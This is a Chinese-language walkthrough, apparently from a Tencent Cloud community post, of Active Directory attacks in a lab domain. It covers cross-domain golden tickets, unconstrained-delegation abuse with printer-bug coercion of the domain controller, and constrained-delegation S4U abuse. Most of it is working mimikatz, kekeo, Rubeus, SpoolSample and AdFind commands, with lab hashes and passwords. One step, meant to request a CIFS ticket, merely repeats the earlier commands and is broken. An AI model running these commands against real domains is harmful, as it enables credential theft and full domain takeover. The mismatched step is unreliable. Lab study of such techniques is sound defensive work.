上传asktgs.exe和kirbikator.exe工具,asktgs.exe伪造票据,kirbikator.exe注入票据
当前已经控制abc.hack.com域,其中包括 DC2机器和PC-2008机器
获取Krbtgt散列:lsadump::lsa /patch /user:krbtgt
获取关键信息
构造并注入黄金票据
Kerberos::golden /user:administrator /domain:当前域名 /sid:当前SID /sids:目标域SID-
519 /krbtgt:krbtgt散列 /ptt
Kerberos::golden /user:administrator /domain:abc.hack.com /sid:S-1-5-21-
2902250016-280749999-3752131090 /sids:S-1-5-21-2716900768-72748719-3475352185-
519 /krbtgt:96d6714b1995e9d724a88ada46e9f30f /ptt
域委派是指将域内用户的权限委派给服务账户,使得服务账号能够以用户的权限在域内展开活动。
委派是域中的一种安全设置,可以允许某个机器上的服务代表某个用户去执行某个操作,主要分为三
种:
1、非约束性委派
2、约束性委派
3、基于资源的约束性委派
一个域内用户访问WEB服务,但是一些资源在文件服务上,这个时候就需要委派攻击
怎么设置委派
在域内只有主机账号和服务账号才有委派属性
主机账号:活动目录中的computers组内的计算机,也被称为机器账号。
服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如:
SQLServer,MYSQL等;域用户通过注册SPN也能成为服务账号。
从使用的角度:用户张三访问一台机器A,于是向DC发起认证,DC会检查A的机器账号的属性,如果是
非约束委派的话,会把用户的TGT放在ST票据中并一起发送给A,这样A在验证ST票据的同时也获取到了
用户的TGT,并把TGT储存在自己的lsass进程中以备下次重用,从而A就可以使用这个TGT,来模拟这
个张三访问任何服务。
从攻击角度来说:如果攻击者拿到了一台配置了非约束委派的机器权限,可以诱导管理员来访问该机
器,然后可以得到管理员的TGT,从而模拟管理员访问任意服务,相当于拿下了整个域环境,或者结合
打印机漏洞让域管用户强制回连以缓存 TGT
1、使用Adfind查询域内非约束委派机器账号
AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306369)
(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查询具有委派的服务账号
AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306368)
(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
这个时候如果域管访问了pc-web机器我们的内存中就会有域管的TGT,就可以访问任意机器了,在
与域控上执行访问PC-WEB(在域控上执行)
net use \PC-WEB.HACK.COM /user:hack\administrator Admin@123
去pc-web导出内存中的票据
sekurlsa::tickets /export
进行票据传递就可以获取域控的权限了
控制了域内的一台机器OA,并且该机器的服务账号配置了非约束委派(S4u2self协议),如下:一般域管不会主动访问我们,我们可以 利用 Windows 打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用 MS-RPRNRpcRemoteFindFirstPrinterChangeNotification(Ex) 方法强制任何运行了 Spooler 服务的计算机以通过 Kerberos 或 NTLM 对攻击者选择的目标进行身份验证。非约束性委派主机结合 Spooler 打印机服务漏洞,让域控机器 DC 强制访问已控的具有本地管理员权限的非约束性委派机器 OA ,从而拿到域管理员的 TGT,进而接管域控。(2008机器可能复现不了,因为版本的问题)
1、首先利用Rubeus在 OA 上以本地管理员权限执行以下命令,每隔一秒监听来自域控机器 DC 的登录
信息:Rubeus.exe monitor /interval:1 /filteruser: DC$
2、再利用SpoolSample强制域控打印机回连,需在域用户进程上执行,所以这里切换成了普通域用户帐号
去执行:SpoolSample.exe DC OA
实验前提
服务账户设置了非约束性委派
已知服务账户的密码口令信息
1、使用 adfind发现服务账号test设置了非约束委派
AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306368)
(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
2、构造服务账户TGT的票据
kekeo.exe "tgt::ask /user:test /domain:hack.com /password:Admin@123
/ticket:test.kirbi" "exit"
3、利用刚才伪造的TGT票据,向域服务器申请CIFS服务票据
AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306368)
(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
kekeo.exe "tgt::ask /user:test /domain:hack.com /password:Admin@123
/ticket:test.kirbi" "exit"
约束委派限制了S4U2proxy,S4u2self协议的请求范围,使得配置了委派属性的服务只能模拟用户身份访问特定的
其他服务
1、服务账号B可以代表A申请访问B的票据,那么可不可以代表域管申请域管访问B的票据呢?在这个过
程中,不需要域管参与,服务B自身就可以完成(S4u2self协议,自己可以设置,基于资源的约束性委派)
2、服务账号B可以代表A申请访问C的票据,那么可不可以代表域管申请域管访问C的票据呢?在这个过
程中(S4U2proxy协议,域管设置)
1、查询约束性委派的机器和用户
查询约束委派机器账户
AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306369)(msds
allowedtodelegateto=*))" msds-allowedtodelegateto
查询约束委派服务账户
AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306368)(msds
allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
查询到PC-ZS电脑配置了约束委派,委派的目标是DC的CIFS服务
2、使用mimikatz获取机器账户NTLM Hash
mimikatz sekurlsa::logonpasswords
3、使用kekeo申请配置了约束委派机器账户PC-ZS$的TGT
kekeo "tgt::ask /user:PC-ZS$ /NTLM:bd41aace231471169d848817a2c46178
/domain:hack.com" "exit"
利用TGT通过伪造S4U请求以administrator身份访问PC-ZS的ST
kekeo "tgs::s4u /tgt:TGT_PC-ZS$@HACK.COM_krbtgt~hack.com@HACK.COM.kirbi
/user:Administrator@hack.com /service:cifs/dc.hack.com" "exit"
mimkatz注入
mimikatz kerberos::ptt
TGS_Administrator@hack.com@HACK.COM_cifs~dc.hack.com@HACK.COM.kirbi
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。